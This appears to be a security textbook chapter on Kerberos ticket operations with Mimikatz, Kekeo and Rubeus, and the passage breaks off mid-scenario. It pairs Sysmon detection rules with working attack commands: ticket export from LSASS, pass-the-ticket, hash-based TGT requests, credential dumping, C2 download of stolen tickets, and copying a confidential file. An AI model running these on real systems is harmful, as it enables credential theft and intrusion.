Appearance
Chapter 25: Kerberos Ticket Operations
Introduction
Kerberos authentication is fundamentally ticket-based. Unlike password-based authentication where credentials are repeatedly transmitted and validated, Kerberos issues cryptographic tickets that prove identity and grant access to resources. Understanding how to list, export, import, renew, and request tickets is essential for both offensive operations using Mimikatz and defensive monitoring to detect ticket-based attacks.
Both Mimikatz and its companion tool Kekeo provide comprehensive capabilities for manipulating Kerberos tickets. These tools can interact with tickets in multiple ways:
- Listing tickets stored in LSASS memory for current or all logon sessions
- Exporting tickets from memory to KIRBI files or Base64 strings
- Importing tickets into logon sessions for authentication
- Renewing tickets before they expire to maintain access
- Requesting new tickets using credentials (password, hash, or AES keys)
The ability to extract tickets from one system and inject them into another enables powerful attack techniques like Pass-The-Ticket, where stolen tickets grant immediate access to resources without needing passwords. Combined with forged tickets (Golden and Silver Tickets covered in later chapters), ticket manipulation represents one of the most potent capabilities in the Mimikatz arsenal.
Windows stores Kerberos tickets in LSASS memory within each logon session. Every interactive or network logon creates a logon session identified by a Locally Unique Identifier (LUID), and each logon session maintains its own ticket cache. This isolation means that different users logged onto the same system have separate ticket caches, and extracting all tickets requires administrative access to LSASS memory.
This chapter provides a comprehensive guide to Kerberos ticket operations using Mimikatz and Kekeo, exploring the technical implementation details, operational security considerations, detection opportunities, and practical attack scenarios. Mastering these fundamentals is prerequisite to understanding advanced Kerberos attacks like Golden Tickets, Silver Tickets, and delegation abuse.
Ticket Storage in Windows
LSASS Memory Structure
Windows stores Kerberos tickets in the Local Security Authority Subsystem Service (LSASS) process memory. Specifically, tickets reside in the Kerberos Security Support Provider (SSP) data structures.
Memory Organization:
LSASS Process (lsass.exe)
└── Kerberos SSP (kerberos.dll)
└── Logon Session List
└── Logon Session (LUID: 0x3e7, User: alice)
├── TGT (Ticket Granting Ticket)
│ - Service: krbtgt/CORP.LOCAL
│ - Encrypted with krbtgt hash
│ - Contains session key and PAC
└── TGS List (Service Tickets)
├── CIFS/fileserver.corp.local
├── HTTP/webserver.corp.local
└── LDAP/dc01.corp.localLogon Session Identification:
- LUID (Locally Unique Identifier): 64-bit value uniquely identifying each logon session
- Format: High:Low (e.g.,
0x0:0x3e7=0:999) - System LUID:
0x0:0x3e7(999) - LocalSystem account - Network Service LUID:
0x0:0x3e4(996) - Local Service LUID:
0x0:0x3e5(997) - User LUIDs: Dynamically assigned during logon (typically > 0x10000)
Ticket Types
Ticket Granting Ticket (TGT):
- Service Name:
krbtgt/DOMAIN.LOCAL - Encrypted with krbtgt account's password hash
- Used to request service tickets (TGS)
- Valid for 10 hours by default (renewable for 7 days)
- Contains user's PAC with SID and group memberships
- Only one TGT per logon session
Ticket Granting Service Ticket (TGS):
- Service Name: Specific SPN (e.g.,
CIFS/fileserver.corp.local) - Encrypted with target service account's password hash
- Used to authenticate to specific services
- Valid for 10 hours by default (renewable for 7 days)
- Contains copy of PAC from TGT
- Multiple TGS tickets can exist per logon session
Delegation Tickets:
- Forwardable TGTs included in TGS for unconstrained delegation
- Allow service to impersonate user to other services
- Stored in service's ticket cache when user accesses service
- Exploitable to capture user credentials (Chapter 30)
KIRBI File Format
When tickets are exported, they're saved in .kirbi (Kerberos Binary) format.
File Structure:
KIRBI File = ASN.1 DER-Encoded KRB-CRED Structure
KRB-CRED:
- pvno: 5 (Kerberos version 5)
- msg-type: KRB_CRED (22)
- tickets: Array of tickets
- Ticket:
- tkt-vno: 5
- realm: CORP.LOCAL
- sname: Service Principal Name
- enc-part: Encrypted ticket data
- enc-part: Encrypted part containing session keysExample Filename Convention:
Username@REALM_ServiceName~REALM@REALM_Source.kirbi
Examples:
- alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi (TGT)
- bob@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi (TGS)KIRBI files can be opened with ASN.1 editors (like ASN.1 Editor or online tools) to inspect ticket structures, encryption types, timestamps, and flags.
Listing Tickets
kerberos::list - Current Session Tickets
The kerberos::list command lists tickets in the current user's logon session.
Syntax:
kerberos::list [/export]Parameters:
/export- Optional. Exports all listed tickets to KIRBI files.
Usage Example (Mimikatz):
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::list
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 11/30/2024 4:23:17 PM ; 12/1/2024 2:23:17 AM ; 12/7/2024 4:23:17 PM
Server Name : krbtgt/CORP.LOCAL @ CORP.LOCAL
Client Name : alice @ CORP.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[00000001] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 11/30/2024 4:56:30 PM ; 12/1/2024 2:23:17 AM ; 12/7/2024 4:23:17 PM
Server Name : CIFS/fileserver.corp.local @ CORP.LOCAL
Client Name : alice @ CORP.LOCAL
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;Usage Example (Kekeo):
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] T: [11/30/2024 4:23:17 PM ; 12/1/2024 2:23:17 AM] {R:12/7/2024 4:23:17 PM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 0000000000000000000000000000000000000000000000000000000000000000Field Explanations:
Ticket Encryption Type:
Mimikatz Format:
[00000000] - 0x00000012 - aes256_hmacKekeo Format:
[krb-cred] E: [00000012] aes256_hmacCommon Types:
0x12(18): AES256-CTS-HMAC-SHA1-960x11(17): AES128-CTS-HMAC-SHA1-960x17(23): RC4-HMAC (uses NT hash as key)
Timestamps:
- Mimikatz:
Start/End/MaxRenew - Kekeo:
[enc-krb-cred] T: [Start ; End] {R:MaxRenew} - Start: When ticket becomes valid
- End: When ticket expires (EndTime)
- MaxRenew: Latest time ticket can be renewed (renew-till)
Server Name:
- Mimikatz:
Server Name: krbtgt/CORP.LOCAL @ CORP.LOCAL - Kekeo:
[enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL - Format:
Service/Instance @ REALM - TGT: Always
krbtgt/DOMAIN - TGS: Service SPN (e.g.,
CIFS/fileserver.corp.local,HTTP/webserver.corp.local)
Client Name:
- Mimikatz:
Client Name: alice @ CORP.LOCAL - Kekeo:
[enc-krb-cred] P: alice @ CORP.LOCAL - Account for whom ticket was issued
Flags:
Format: Hexadecimal bitmask (e.g.,
40e10000)Common Flags:
forwardable (0x40000000): Can be forwarded to other hostsforwarded (0x20000000): Has been forwardedproxiable (0x08000000): Can be proxiedrenewable (0x00800000): Can be renewedinitial (0x00400000): Initial authentication (TGT)pre_authent (0x00200000): Pre-authentication was usedok_as_delegate (0x00040000): Delegation allowedname_canonicalize (0x00010000): Name canonicalization requested
Encryption Key (Kekeo only):
- Field:
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac) - Session key for ticket
- TGTs for local admin accounts: Always shows
000...(cannot be exported) - Regular tickets: Shows actual AES/RC4 key value
Technical Implementation:
Both Mimikatz and Kekeo use the LsaCallAuthenticationPackage() Windows API function with the Kerberos package to query the ticket cache:
c
// Simplified pseudocode
NTSTATUS status;
KERB_QUERY_TKT_CACHE_REQUEST request;
PKERB_QUERY_TKT_CACHE_RESPONSE response;
request.MessageType = KerbQueryTicketCacheMessage;
request.LogonId.LowPart = 0;
request.LogonId.HighPart = 0;
status = LsaCallAuthenticationPackage(
hLsa,
authPackage,
&request,
sizeof(request),
&response,
&responseLength,
&protocolStatus
);Operational Security:
- Uses legitimate Windows API (
klist.exeuses the same API) - Does not require LSASS memory access
- Does not generate Security Event IDs
- Sysmon does not log this operation
- Operationally safe for listing current user's tickets
sekurlsa::tickets - All Session Tickets
The sekurlsa::tickets command lists tickets for all users on the system by reading LSASS memory directly.
Syntax:
sekurlsa::tickets [/export]Requirements:
- Administrative privileges or SYSTEM account
- SeDebugPrivilege (obtained via
privilege::debug) - LSASS process access permissions
Usage Example:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets
Authentication Id : 0 ; 602058 (00000000:00092fca)
Session : Interactive from 1
User Name : alice
Domain : CORP
Logon Server : DC01
Logon Time : 11/30/2024 7:40:32 PM
SID : S-1-5-21-123456789-123456789-123456789-1001
* Username : alice
* Domain : CORP.LOCAL
* Password : (null)
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/30/2024 7:40:32 PM ; 12/1/2024 5:40:32 AM ; 12/7/2024 7:40:32 PM
Service Name (02) : CIFS ; fileserver.corp.local ; @ CORP.LOCAL
Target Name (02) : CIFS ; fileserver.corp.local ; @ CORP.LOCAL
Client Name (01) : alice ; @ CORP.LOCAL
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...]
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 11/30/2024 7:40:32 PM ; 12/1/2024 5:40:32 AM ; 12/7/2024 7:40:32 PM
Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
Target Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
Client Name (01) : alice ; @ CORP.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
[... Additional logon sessions ...]Output Organization:
- Authentication Id: LUID (Logon ID) of the session
- Session: Session type (Interactive, Network, RemoteInteractive, etc.)
- User Name: SAM account name
- Domain: NetBIOS domain name
- Logon Server: DC that authenticated the user
- Logon Time: When user logged on
- SID: Security Identifier
- Group 0: Ticket Granting Service (TGS) tickets
- Group 2: Ticket Granting Ticket (TGT)
Technical Implementation:
sekurlsa::tickets opens LSASS with PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_VM_READ, then directly parses Kerberos SSP memory structures:
c
// Simplified pseudocode
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, lsassPID);
// Walk logon session list
for each logon_session in lsass_memory:
parse_kerberos_logon_session(logon_session)
enumerate_tickets_in_session()Detection Opportunity:
Sysmon Event ID 10 (ProcessAccess):
xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>10</EventID>
</System>
<EventData>
<Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
<Data Name="TargetImage">C:\Windows\system32\lsass.exe</Data>
<Data Name="GrantedAccess">0x1010</Data>
<Data Name="CallTrace">C:\Windows\SYSTEM32\ntdll.dll+9d234|...</Data>
</EventData>
</Event>Indicators:
- SourceImage from non-standard location (not System32)
- GrantedAccess:
0x1010(PROCESS_VM_READ + PROCESS_QUERY_LIMITED_INFORMATION) - TargetImage:
lsass.exe
Defense:
- Monitor Sysmon Event ID 10 for LSASS access
- Baseline legitimate LSASS access (svchost, services, MsMpEng)
- Alert on unexpected processes accessing LSASS
- Enable LSA Protected Process Light (PPL) to block unauthorized access
Exporting Tickets
Exporting to KIRBI Files
Tickets can be exported from memory to binary KIRBI files for later use or analysis.
Command:
kerberos::list /export
sekurlsa::tickets /exportExample (Mimikatz):
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 602058
...
Group 2 - Ticket Granting Ticket
[00000000]
...
> Saved to file: 0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi
Group 0 - Ticket Granting Service
[00000000]
...
> Saved to file: 0-602058-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbiFiles are written to the current working directory with naming convention:
LogonId-GroupNum-TicketNum-Flags-User@Service-Realm.kirbiExample (Kekeo with file output):
kekeo # kerberos::list /export
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
...
> Ticket in file 'alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi'Exporting to Base64
To avoid writing files to disk (which may trigger AV/EDR), tickets can be output as Base64 strings.
Enable Base64 Output (Kekeo):
kekeo # base64 /out:true
isBase64InterceptInput is false
isBase64InterceptOutput is true
kekeo # kerberos::list /export
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] T: [11/30/2024 5:14:01 PM ; 12/1/2024 3:14:01 AM] {R:12/7/2024 5:14:01 PM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 000000000000...
====================
Base64 of file : alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi
====================
doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIEGKADAgEFoQ4bDEFDTUVM
QUJTLlBWVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMQUNNRUxBQlMuUFZUo4ID3DCC
A9igAwIBEqEDAgECooIDygSCA8ZPIsHXMyZF9pnt9hs3dZoiIoJx2m37SM5kRFqp
... [base64 string continues]Operational Benefits:
- No file artifacts on disk
- Bypasses file-based detection (AV signatures on .kirbi extension)
- Can transmit tickets over network/clipboard
- Reduced forensic footprint
Recreating KIRBI from Base64:
powershell
# PowerShell on attacker system
$base64 = "doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIE..."
[IO.File]::WriteAllBytes("C:\tickets\alice.kirbi", [Convert]::FromBase64String($base64))Detection of Ticket Exports
File System Monitoring:
- Monitor for creation of .kirbi files
- Alert on multiple small files created in temp directories
- Sysmon Event ID 11 (FileCreate) with TargetFilename matching
*.kirbi
Example Sysmon Rule:
xml
<RuleGroup name="Ticket Export Detection" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="end with">.kirbi</TargetFilename>
</FileCreate>
</RuleGroup>Process Monitoring:
- Correlate LSASS access (Event ID 10) with file creation
- Alert on unusual processes exporting tickets
- Baseline normal ticket export behavior (if any)
Importing Tickets
Pass-The-Ticket with kerberos::ptt
The kerberos::ptt (Pass-The-Ticket) command imports tickets into the current logon session.
Syntax:
kerberos::ptt <ticket_file_or_directory>
kerberos::ptt <base64_string> # After enabling base64 inputImport from Directory:
kekeo # kerberos::purge
Ticket(s) purge for current session is OK
kekeo # kerberos::ptt C:\temp\tickets
* Directory: 'C:\temp\tickets'
* File: 'C:\temp\tickets\alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi': OK
* File: 'C: emp icketsob@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi': OKAll .kirbi files in the directory are imported.
Import Specific File:
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi
* File: 'C:\tickets\alice_tgt.kirbi': OKImport from Base64:
kekeo # base64 /in:true
isBase64InterceptInput is true
isBase64InterceptOutput is false
kekeo # kerberos::ptt doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDEFDTUVM...
* File: 'doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDEFDTUVM...': OKTGT Replacement Behavior
Critical Limitation: Each logon session can only have one TGT. When multiple TGTs are imported, the last TGT replaces previous TGTs.
Example Demonstration:
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] P: bob @ CORP.LOCAL
...
kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] P: alice @ CORP.LOCAL
... (bob's TGT is now replaced by alice's TGT)
kekeo # kerberos::ptt charlie_tgt.kirbi
* File: 'charlie_tgt.kirbi': OK
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] P: charlie @ CORP.LOCAL
... (alice's TGT is now replaced by charlie's TGT)Operational Implication:
- Only the most recently imported TGT is active
- Service tickets (TGS) are cumulative and do not replace each other
- To switch between user contexts, import the desired user's TGT
Ticket Validation on Import
LSASS validates tickets before accepting them:
Validation Checks:
- Ticket Expiration:
EndTimemust be in the future - ASN.1 Structure: Ticket must be properly formatted
- Encryption: Ticket structure must decrypt correctly (though content isn't fully validated)
Import of Expired Ticket:
kekeo # kerberos::ptt C:\tickets\expired_tgt.kirbi
* File: 'C:\tickets\expired_tgt.kirbi': ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : c0000133
ERROR kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage c0000133Error Code c0000133: STATUS_PKINIT_FAILURE or invalid/expired ticket
Operational Consideration:
- Track ticket
EndTimeto ensure tickets are still valid - Renew tickets before expiration (covered below)
- Golden/Silver Tickets can specify arbitrary expiration times
Using Imported Tickets
Once imported, tickets are immediately available for authentication:
Example: Accessing File Share
kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK
C:\> net use \fileserver\share
The command completed successfully.
C:\> dir \fileserver\share
Volume in drive \fileserver\share
Directory of \fileserver\share
...Example: PowerShell Remoting
powershell
# After importing TGT
PS C:\> Enter-PSSession -ComputerName server01
[server01]: PS C:\> whoami
corp\aliceTechnical Process:
- Application (net.exe, powershell.exe) requests network authentication
- LSASS checks ticket cache for matching TGT
- LSASS requests TGS using imported TGT
- KDC validates TGT and issues TGS
- Application uses TGS to authenticate to service
- Service validates TGS and grants access
Detection Opportunity:
Event ID 4648 (Explicit Credential Logon): When tickets are imported, Windows may log Event ID 4648 if explicit credential usage is detected.
Event ID 4768/4769 (Kerberos TGT/TGS Requests): On domain controller:
- 4768: TGT request (when TGT is used to request TGS)
- 4769: TGS request
Anomaly Detection:
- User requesting TGS from unusual IP address
- Ticket usage pattern inconsistent with user's normal behavior
- Multiple users' tickets used from single system
Renewing Tickets
Ticket Renewal Overview
Kerberos tickets have limited lifetime (default 10 hours). To maintain access without re-authenticating, tickets can be renewed.
Renewal Requirements:
- Ticket must have
renewableflag set - Current time must be before
EndTime(ticket not yet expired) - Current time must be before
renew-till(maximum renewal time, default 7 days)
Renewal Process:
- Client sends TGS-REQ with
renewflag and existing ticket - KDC validates ticket hasn't expired
- KDC verifies renewal is within
renew-tillwindow - KDC issues new ticket with updated
StartTimeandEndTime - New ticket's
renew-tillremains unchanged from original
tgs::renew Command (Kekeo)
Syntax:
tgs::renew /ticket:<kirbi_file> [/ptt]
tgs::renew /tgt:<kirbi_file> [/ptt]
tgs::renew /tgs:<kirbi_file> [/ptt]Parameters:
/ticket:<file>- Ticket to renew (.kirbi file). Aliases:/tgt,/tgs/ptt- Import renewed ticket into current session
Check Current Time:
kekeo # localtime
Local: 11/30/2024 5:03:53 AM
UTC : 11/30/2024 9:03:53 AMChecking local time is critical when operating across time zones to ensure tickets haven't expired.
Renew TGS Ticket:
kekeo # tgs::renew /ticket:alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi /ptt
Ticket : alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi
[krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[enc-krb-cred] T: [11/29/2024 9:30:17 PM ; 11/30/2024 7:30:17 AM] {R:12/6/2024 9:30:17 PM}
[enc-krb-cred] F: [40a50000] name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8...
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> CIFS/fileserver.corp.local : OK!
kekeo # kerberos::list
[krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[enc-krb-cred] T: [11/30/2024 5:05:11 AM ; 11/30/2024 3:05:11 PM] {R:12/6/2024 9:30:17 PM}
... (EndTime extended by 10 hours, renew-till unchanged)Observations:
- Original
EndTime:11/30/2024 7:30:17 AM - Renewed
EndTime:11/30/2024 3:05:11 PM(10 hours later) renew-till:12/6/2024 9:30:17 PM(unchanged)
Renew TGT:
kekeo # tgs::renew /tgt:alice_tgt.kirbi /pttTGTs can also be renewed following the same process.
Detection of Ticket Renewal
Event ID 4770: Kerberos Service Ticket Renewal
xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>4770</EventID>
</System>
<EventData>
<Data Name="TargetUserName">alice@CORP.LOCAL</Data>
<Data Name="TargetDomainName">CORP.LOCAL</Data>
<Data Name="ServiceName">CIFS/fileserver.corp.local</Data>
<Data Name="ServiceSid">S-1-5-21-...</Data>
<Data Name="TicketOptions">0x40800000</Data>
<Data Name="TicketEncryptionType">0x12</Data>
<Data Name="IpAddress">::ffff:10.1.1.15</Data>
<Data Name="IpPort">55123</Data>
</EventData>
</Event>Anomaly Detection:
- Frequent renewals from unusual IP addresses
- Renewal patterns inconsistent with user behavior
- Renewals occurring after user has logged off
Describing Tickets (Rubeus)
To inspect ticket details without tracking metadata, use Rubeus:
powershell
PS C:\> .\Rubeus.exe describe /ticket:C:\tickets\alice_tgt.kirbi
[*] Action: Describe Ticket
ServiceName : krbtgt/CORP.LOCAL
ServiceRealm : CORP.LOCAL
UserName : alice
UserRealm : CORP.LOCAL
StartTime : 11/30/2024 10:27:06 PM
EndTime : 12/1/2024 8:27:06 AM
RenewTill : 12/7/2024 10:27:06 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : wcGqw7TkXtf2q7hsydDh8uPzRE...Rubeus provides human-readable ticket details, useful for operational planning.
Requesting Tickets
tgt::ask - Request New TGT (Kekeo)
The tgt::ask command requests a new TGT from the KDC using credentials.
Syntax:
tgt::ask /user:<username> /domain:<domain> {/password:<password> | /rc4:<hash> | /aes128:<key> | /aes256:<key>} [/kdc:<dc>] [/ptt]Parameters:
/user:<username>- SAMAccountName or UPN (alice or alice@corp.local)/domain:<domain>- Domain FQDN (corp.local)/password:<password>- Cleartext password/rc4:<hash>- NT hash (RC4 key for Kerberos etype 23)/aes128:<key>- AES128 key (etype 17)/aes256:<key>- AES256 key (etype 18)/kdc:<dc>- Specific domain controller (optional, auto-discovered if omitted)/ptt- Import resulting TGT into current session
Example: Request TGT with Password
kekeo # tgt::ask /user:alice /password:Password123! /domain:corp.local
Realm : corp.local (CORP)
User : alice (alice)
CName : alice [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'Observations:
- Kekeo auto-discovered KDC:
dc01.corp.localat10.1.1.4 - Authentication used RC4-HMAC (etype 23) by default
- TGT saved to kirbi file (no
/pttspecified)
Example: Request TGT with NT Hash
kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
Realm : corp.local (CORP)
User : bob (bob)
CName : bob [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt): 64f12cddaa88057e06a81b54e73b949b
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_bob@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
> Ticket imported in current sessionThis is Over-Pass-The-Hash (Chapter 28)—using NT hash to request Kerberos TGT.
Example: Request TGT with AES256 Key
kekeo # tgt::ask /user:admin /aes256:c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 /domain:corp.local /ptt
Realm : corp.local (CORP)
User : admin (admin)
CName : admin [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_admin@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
> Ticket imported in current sessionUses AES256 encryption (etype 18), stronger than RC4.
Detection of TGT Requests
Event ID 4768: Kerberos TGT Request (Domain Controller)
xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>4768</EventID>
</System>
<EventData>
<Data Name="TargetUserName">alice</Data>
<Data Name="TargetDomainName">CORP.LOCAL</Data>
<Data Name="TargetSid">S-1-5-21-...</Data>
<Data Name="ServiceName">krbtgt</Data>
<Data Name="ServiceSid">S-1-5-21-...-502</Data>
<Data Name="TicketOptions">0x40800010</Data>
<Data Name="Status">0x0</Data>
<Data Name="TicketEncryptionType">0x12</Data>
<Data Name="PreAuthType">2</Data>
<Data Name="IpAddress">::ffff:10.1.1.15</Data>
<Data Name="IpPort">55903</Data>
</EventData>
</Event>Normal Indicators:
PreAuthType: 2(PA-ENC-TIMESTAMP - pre-authentication)Status: 0x0(success)TicketEncryptionType: 0x12 or 0x11(AES)
Anomaly Detection:
- User requesting TGT from unusual IP (geo-location, not typical workstation)
- Account requesting TGT outside normal working hours
- Service account requesting TGT interactively (should use service logon)
Sysmon Event ID 3: Network Connection to Port 88 (Client)
xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>3</EventID>
</System>
<EventData>
<Data Name="Image">C:\Tools\kekeo.exe</Data>
<Data Name="User">CORP\alice</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="SourceIp">10.1.1.15</Data>
<Data Name="SourcePort">55903</Data>
<Data Name="DestinationIp">10.1.1.4</Data>
<Data Name="DestinationPort">88</Data>
</EventData>
</Event>Critical Detection Point: Normal Kerberos authentication originates from lsass.exe. If any other process connects to port 88 (Kerberos), it's highly suspicious.
Detection Rule:
Alert on Sysmon Event ID 3 WHERE:
- DestinationPort = 88
- Image != "C:\Windows\System32\lsass.exe"This detects tools like Kekeo, Rubeus, Impacket requesting Kerberos tickets directly instead of through LSASS.
Attack Scenarios
Scenario 1: Lateral Movement with Exported Tickets
Context: Attacker compromises workstation, extracts tickets, uses them on different system.
Attack Flow:
Step 1: Initial Compromise (WORKSTATION01)
- Phishing email delivers payload
- User "alice" executes malicious attachment
- Attacker gains code execution as aliceStep 2: Extract Tickets
powershell
# From C2 beacon on WORKSTATION01
beacon> execute-assembly Mimikatz.exe privilege::debug sekurlsa::tickets /export
# Tickets extracted:
# - alice TGT
# - alice TGS for CIFS/fileserver.corp.local
# - alice TGS for HTTP/intranet.corp.localStep 3: Exfiltrate Tickets
beacon> download 0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi
beacon> download 0-602058-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbiStep 4: Import on Attacker-Controlled System
# On KALI Linux with Impacket
$ export KRB5CCNAME=/tmp/alice.ccache
$ ticketConverter.py alice@krbtgt-CORP.LOCAL.kirbi alice.ccache
# Or on Windows attacker workstation
C:\> kekeo.exe
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi
* File: 'C:\tickets\alice_tgt.kirbi': OKStep 5: Access Resources
C:\> dir \\fileserver.corp.local\finance$
Volume in drive \\fileserver.corp.local\finance$
...
C:\> copy \\fileserver.corp.local\finance$\confidential_data.xlsx C:\exfil\Result: Attacker uses alice's stolen ticket to access file shares without needing her password.
Scenario 2: Credential-Based TGT Request (Over-Pass-The-Hash)
Context: Attacker dumps credentials, requests TGT to access resources.
Attack Flow:
Step 1: Credential Dumping
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
...
msv :
* Username : bob
* Domain : CORP
* NTLM : 64f12cddaa88057e06a81b54e73b949bStep 2: Request TGT with Hash
kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
Realm : corp.local (CORP)
User : bob (bob)
